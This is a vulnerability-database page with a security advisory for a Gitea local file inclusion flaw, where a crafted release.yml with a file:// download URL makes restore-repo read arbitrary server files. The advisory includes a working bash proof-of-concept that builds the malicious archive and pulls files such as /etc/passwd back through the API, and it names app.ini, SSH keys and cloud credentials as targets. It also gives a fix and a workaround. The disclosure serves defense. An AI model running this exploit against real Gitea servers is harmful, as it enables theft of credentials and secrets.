Vulnerability Database

362,873

Total vulnerabilities in the database

CVE-2026-58420 — gitea.dev

External Control of File Name or Path

Local File Inclusion via file:// URI in Migration Restore

Target: go-gitea/gitea Component: services/migrations/gitea_uploader.go, modules/uri/uri.go Severity: High Affected Versions: <= v1.22.x (all releases), master as of latest commit Researchers:

  • Isa Can — Eresus Security (https://github.com/isa0-gh)
  • Yigit Ibrahim — Eresus Security (https://github.com/ibrahmsql)

Summary

Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.


Impact

An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:

  • app.ini — containing database passwords and secret keys
  • SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
  • TLS certificates and private keys
  • Cloud provider credential files (e.g. ~/.aws/credentials)
  • Any other file readable by the Gitea process user

The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.


Affected Code

modules/uri/uri.go

func Open(rawURL string) (io.ReadCloser, error) { u, err := url.Parse(rawURL) if err != nil { return nil, err } switch u.Scheme { case &quot;http&quot;, &quot;https&quot;: resp, err := http.Get(rawURL) ... case &quot;file&quot;: return os.Open(u.Path) // no scheme validation, no path restriction } }

services/migrations/gitea_uploader.go (~line 370)

func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error { for _, rel := range releases { for _, asset := range rel.Assets { rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated ... // file content saved as release attachment } } }

Attack Scenario

An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:

  1. Create a malicious archive containing release.yml:
releases: - tag_name: v0.0.1 assets: - name: exfiltrated.txt download_url: &quot;file:///etc/passwd&quot;
  1. Run restore:
gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo
  1. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.

  2. Retrieve via API:

curl -s &quot;http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets&quot; \ -H &quot;Authorization: token ADMIN_TOKEN&quot; | jq -r &#039;.[].browser_download_url&#039;

PoC

> Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.

#!/usr/bin/env bash # PoC: Gitea LFI via release.yml DownloadURL # Requires: admin credentials, gitea binary on PATH (server host) GITEA_URL=&quot;${1:-http://localhost:3000}&quot; ADMIN_TOKEN=&quot;${2:-REPLACE_ME}&quot; TARGET_FILE=&quot;${3:-/etc/passwd}&quot; OWNER=&quot;test-org&quot; REPO=&quot;lfi-test&quot;

1. Create target org and repo via API

curl -sf -X POST &quot;$GITEA_URL/api/v1/orgs&quot; \ -H &quot;Authorization: token $ADMIN_TOKEN&quot; \ -H &quot;Content-Type: application/json&quot; \ -d &quot;{\&quot;username\&quot;:\&quot;$OWNER\&quot;,\&quot;visibility\&quot;:\&quot;private\&quot;}&quot; || true curl -sf -X POST &quot;$GITEA_URL/api/v1/user/repos&quot; \ -H &quot;Authorization: token $ADMIN_TOKEN&quot; \ -H &quot;Content-Type: application/json&quot; \ -d &quot;{\&quot;name\&quot;:\&quot;$REPO\&quot;,\&quot;private\&quot;:true,\&quot;auto_init\&quot;:true}&quot; || true

2. Build malicious archive

TMP=$(mktemp -d) mkdir -p &quot;$TMP/bundles/$OWNER/$REPO&quot; cat &gt; &quot;$TMP/bundles/$OWNER/$REPO/release.yml&quot; &lt;&lt;YAML releases: - tag_name: v0.0.1 name: test body: &quot;&quot; draft: false prerelease: false assets: - name: output.txt download_url: &quot;file://$TARGET_FILE&quot; size: 0 download_count: 0 YAML cd &quot;$TMP&quot; &amp;&amp; zip -r poc.zip bundles/

3. Trigger restore

gitea restore-repo \ --zip-path &quot;$TMP/poc.zip&quot; \ --owner &quot;$OWNER&quot; \ --repo &quot;$REPO&quot; \ --units release 2&gt;&amp;1

4. Retrieve exfiltrated content

echo &quot;[*] Fetching exfiltrated content...&quot; RELEASE_ID=$(curl -sf &quot;$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1&quot; \ -H &quot;Authorization: token $ADMIN_TOKEN&quot; | jq -r &#039;.[0].id&#039;) curl -sf &quot;$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets&quot; \ -H &quot;Authorization: token $ADMIN_TOKEN&quot; | jq -r &#039;.[0].browser_download_url&#039; | \ xargs -I{} curl -sf &quot;{}&quot; -H &quot;Authorization: token $ADMIN_TOKEN&quot; rm -rf &quot;$TMP&quot;

Root Cause

uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.


Fix Recommendation

In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():

parsed, err := url.Parse(asset.DownloadURL) if err != nil || (parsed.Scheme != &quot;http&quot; &amp;&amp; parsed.Scheme != &quot;https&quot;) { log.Warn(&quot;Skipping release asset with non-HTTP URL: %s&quot;, asset.DownloadURL) continue } rc, err := uri.Open(asset.DownloadURL) Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.

Workaround

Until a patch is available, operators should:

  • Restrict restore-repo execution to fully trusted operators only
  • Audit all archive contents manually before running restoration
  • Review existing release attachments for unexpected or sensitive filenames

Isa Can Security Researcher — Eresus Security https://github.com/isa0-gh

Yigit Ibrahim Security Researcher — Eresus Security https://github.com/ibrahmsql

No technical information available.

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.